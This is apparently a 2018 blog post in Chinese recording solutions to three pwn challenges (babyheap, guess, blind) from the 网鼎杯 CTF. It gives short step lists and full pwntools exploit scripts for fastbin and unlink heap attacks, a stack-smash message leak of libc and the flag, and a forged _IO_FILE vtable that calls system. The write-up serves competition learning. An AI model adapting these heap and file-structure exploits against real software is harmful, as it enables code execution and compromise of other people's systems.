网鼎杯 pwn 记录

题目位置

https://gitee.com/hac425/blog_data/tree/master/wdb

babyheap

  • 通过分配和释放构建 2fastbin
  • 利用 show 功能, leak heap 的基地址
  • 然后可以在 heap 伪造 fastbin , 造成 overlap chunk
  • 修改 chunk size ,同时伪造 free chunk
  • unlink 攻击 , 可以控制 ptr_table
  • 然后通过 修改 edit_count 实现多次写
  • __free_hook 设置 system.
# !/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
from time import sleep

# context.log_level = "debug"

elf = ELF("./babyheap")
elf.got['puts'] = 0x0601FA0

p = elf.process()
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

ptr_table = 0x00602060


def alloc(idx, content):
    p.sendlineafter("Choice:", "1")
    p.sendlineafter("Index:", str(idx))
    p.sendafter("Content:", content)
    sleep(0.1)


def edit(idx, content):
    p.sendlineafter("Choice:", "2")
    p.sendlineafter("Index:", str(idx))
    p.sendafter("Content:", content)
    sleep(0.1)


def show(idx):
    p.sendlineafter("Choice:", "3")
    p.sendlineafter("Index:", str(idx))
    sleep(0.1)


def free(idx):
    p.sendlineafter("Choice:", "4")
    p.sendlineafter("Index:", str(idx))
    sleep(0.1)




info("wait to attach: gdb --pid={}".format(p.proc.pid))

payload = "\x00" * 0x18
payload += p64(0x31)

alloc(0, "sh\x00\n")
alloc(1, payload)    # 用于伪造 fastbin
alloc(2, p64(0x21) * 4)
alloc(3, '\x21' * 0x20)

free(2)
free(1)

info("获取 fastbin 链表")

show(1)
leak = p.recvuntil("\n")[:-1]
leak = u64(leak + "\x00" * (8 - len(leak)))
heap_base = leak - 0x60
info("heap_base: " + hex(heap_base))

edit(1, p64(heap_base + 0x50) + "\n")
info("修改fastbin 指针, 伪造 bin")


payload = p64(0) + p64(0x21)
payload += p64(ptr_table - 0x18 + 0x8)
payload += p64(ptr_table - 0x10 + 0x8)

alloc(4, "333\n")
alloc(5, p64(0x20) + p64(0x90) + "\n")
alloc(6, "sh\x00" + "\n")
alloc(7, "666" + "\n")

free(4)
alloc(8, payload)
info("通过 free + new 实现 edit , 伪造 free chunk 用于 unlinnk")

free(2)

payload = "\x00" * 0x10
payload += p64(0x06020B0)
payload += p64(ptr_table)
edit(1, payload)
edit(0, p64(0) + "\n")
info("修改 ptr_table , 设置 edit 计数为 0")


payload = p64(0x06020B0)
payload += p64(ptr_table)
payload += p64(elf.got['puts'])
payload += p64(ptr_table)
edit(1, payload)
edit(0, p64(0) + "\n")

show(2)
leak = p.recvuntil("\n")[:-1]
leak = u64(leak + "\x00" * (8 - len(leak)))
libc.address = leak - libc.symbols['puts']
info("libc.address: " + hex(libc.address))

payload = p64(0x06020B0)
payload += p64(ptr_table)
payload += p64(elf.got['puts'])
payload += p64(libc.symbols['__free_hook'])
edit(1, payload)
edit(0, p64(0) + "\n")

edit(3, p64(libc.symbols['system']) + "\n")

free(6)

p.interactive()

guess

栈底 会保存一个指针,在检测栈溢出时会打印, 于是通过覆盖指针 来 leak flag

#!/usr/local/bin/python
# -*- coding:utf-8 -*-

from pwn import *

# context.log_level = "debug"
elf_path = "/home/lsl/network_fuzz/netconf/GUESS"
libc_path = "./libc6_2.19-0ubuntu6.14_amd64.so"

elf = ELF(elf_path)
libc = ELF(libc_path)


def get_offset():
    for i in range(0x80, 0x180):
        p = elf.process()
        p.recvuntil("flag\n")

        # 0x0400C90 You must have great six sense!!!! :-o
        # 在 栈的底部有指针,当检测到栈溢出时会打印指针内容, 遍历设置看哪里可以覆盖到指针。
        # 如果覆盖到 指针, 就会打印 0x128 *** stack smashing detected ***: You must have great six sense!!!! :-o  terminated
        p.sendline("1" * i + p64(0x0400C90))
        p.recvline()
        x = p.recvline()
        p.close()

        # 找到偏移退出
        if "six" in x:
            print hex(i), x
            exit(0)



def leak_data(p, addr):
    p.recvuntil("flag\n")
    p.sendline("1" * 0x128 + p64(addr))
    p.recvuntil("***: ")

def leak_address(p, address):
    leak_data(p, address)
    leak = u64(p.recv(6) + "\x00" * 2)
    return leak



p = elf.process()

# 先通过 puts 泄漏 libc
libc.address = leak_address(p, elf.got["puts"]) - libc.symbols['puts']
info("libc: " + hex(libc.address))


# 找到 environ 的地址,然后通过泄漏,拿到 environ 的值,这是一个 栈的地址
environ_address = libc.symbols['environ']
environ = leak_address(p, environ_address)

info("get stack addr")


# 根据 flag 在栈中的地址和 environ 的偏移,拿到 flag
flag_address = environ - 0x168
leak_data(p, flag_address)
print p.recvline()
p.close()


get_offset()


blind

stdin, stdout, stderr 的地址会放到 bss 段, 其中的 0x7f 可以作为 fastbinsize 使用。

  • fastbin attack 分配到 bss
  • 修改 ptr 表,任意地址写
  • bss 段后面有一块很大的空间伪造 _IO_FILE_plus, 修改 vtableget_system 的函数 .
  • 修改 stdout 到 伪造的 _IO_FILE_plus
#!/usr/local/bin/python
# -*- coding:utf-8 -*-
from pwn import *
import struct

context.log_level = "debug"

elf = ELF("./blind")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
# 大小为 0x70 的 fake chunk
fake_chunk = 0x60203d
ptr_table = 0x602060
stdin_address = 0x602030
stdout = 0x0602020

fake_io_file = 0x602098 - 0x10
vtable_address = fake_io_file + 224

call_system = 0x0004008E3


p = elf.process()

_IO_USE_OLD_IO_FILE = False
_BITS = 64


def _u64(data):
    return struct.unpack("<Q", data)[0]


def _u32(data):
    return struct.unpack("<I", data)[0]


def _u16(data):
    return struct.unpack("<H", data)[0]


def _u8(data):
    return ord(data)


def _usz(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()


def _ua(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()


def _p64(data):
    return struct.pack("<Q", data)


def _p32(data):
    return struct.pack("<I", data)


def _p16(data):
    return struct.pack("<H", data)


def _p8(data):
    return chr(data)


def _psz(data):
    if _BITS == 32:
        return _p32(data)
    elif _BITS == 64:
        return _p64(data)
    else:
        print("[-] Invalid _BITS")
        exit()


def _pa(data):
    if _BITS == 32:
        return struct.pack("<I", data)
    elif _BITS == 64:
        return struct.pack("<Q", data)
    else:
        print("[-] Invalid _BITS")
        exit()


class _IO_FILE_plus:
    def __init__(self):
        self._flags = 0x00000000fbad2887  # High-order word is _IO_MAGIC; rest is flags.
        self._IO_read_ptr = 0x602500  # Current read pointer
        self._IO_read_end = 0x602500  # End of get area
        self._IO_read_base = 0x602500  # Start of putback+get area
        self._IO_write_base = 0x602600  # Start of put area
        self._IO_write_ptr = 0x602600  # Current put pointer
        self._IO_write_end = 0x602600  # End of put area
        self._IO_buf_base = 0x602600  # Start of reserve area
        self._IO_buf_end = 0x602601  # End of reserve area

        # The following fields are used to support backing up and undo.
        self._IO_save_base = 0  # Pointer to start of non-current get area
        self._IO_backup_base = 0  # Pointer to first valid character of backup area
        self._IO_save_end = 0  # Pointer to end of non-current get area

        self._markers = 0
        self._chain = 0

        self._fileno = 0
        self._flags2 = 0
        self._old_offset = 0  # This used to be _offset but it's too small

        # 1+column number of pbase(); 0 is unknown
        self._cur_column = 0
        self._vtable_offset = 0
        self._shortbuf = 0

        self._lock = 0x602700

        if not _IO_USE_OLD_IO_FILE:
            self._offset = 0
            self._codecvt = 0
            self._wide_data = 0
            self._freeres_list = 0
            self._freeres_buf = 0
            self.__pad5 = 0
            self._mode = 0
            self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
        self.vtable = vtable_address

    def tostr(self):
        buf = _p64(self._flags & 0xffffffff) + \
              _pa(self._IO_read_ptr) + \
              _pa(self._IO_read_end) + \
              _pa(self._IO_read_base) + \
              _pa(self._IO_write_base) + \
              _pa(self._IO_write_ptr) + \
              _pa(self._IO_write_end) + \
              _pa(self._IO_buf_base) + \
              _pa(self._IO_buf_end) + \
              _pa(self._IO_save_base) + \
              _pa(self._IO_backup_base) + \
              _pa(self._IO_save_end) + \
              _pa(self._markers) + \
              _pa(self._chain) + \
              _p32(self._fileno) + \
              _p32(self._flags2) + \
              _p64(self._old_offset) + \
              _p16(self._cur_column) + \
              _p8(self._vtable_offset) + \
              _p8(self._shortbuf)
        if _BITS == 64:
            buf += _p32(0)
        buf += _pa(self._lock)
        if not _IO_USE_OLD_IO_FILE:
            buf += \
                _p64(self._offset) + \
                _pa(self._codecvt) + \
                _pa(self._wide_data) + \
                _pa(self._freeres_list) + \
                _pa(self._freeres_buf) + \
                _psz(self.__pad5) + \
                _p32(self._mode) + \
                ''.join(map(lambda x: _p8(x), self._unused2)) + \
                _pa(self.vtable)
        return buf

    def __str__(self):
        return self.tostr()

def new(index, content):
    p.recvuntil("Choice:")
    p.sendline('1')
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Content:")
    p.sendline(content)


def release(index):
    p.recvuntil("Choice:")
    p.sendline('3')
    p.recvuntil("Index:")
    p.sendline(str(index))


def change(index, content):
    p.recvuntil("Choice:")
    p.sendline('2')
    p.recvuntil("Index:")
    p.sendline(str(index))
    p.recvuntil("Content:")
    p.send(content)


s = _IO_FILE_plus().tostr()
print len(s)

info("gdb --pid={}".format(p.proc.pid))
# pause()


new(0, '111')
new(1, '222')
release(0)
info("获得一个 0x70 的 fastbin")

change(0, p64(fake_chunk) + "\n")
info("利用 bss 上的 stderr 伪造 fastbin")

new(2, '222')
new(3, '333')
info("分配两个 fastbin , 此时 chunk 3 为  bss")

payload = "\x00" * 0x13
payload += p64(stdout) # 0
payload += p64(fake_io_file) # 1
payload += p64(fake_io_file + 0x68) # 2
payload += p64(fake_io_file + 0x68 * 2) # 3
payload += p64(vtable_address) # 4
change(3, payload + "\n")


change(1, s[0:0x68])
change(2, s[0x68:0xd0])
change(3, s[0xd0:] + "\n")
info("伪造 fake IO_FILE")

change(4, p64(call_system) * 13)
info("伪造 虚表")
pause()

# p.sendline("2")
change(0, p64(fake_io_file) + '\n')
pause()


p.interactive()

posted @ 2018-08-22 21:03  hac425  阅读(862)  评论(2编辑  收藏  举报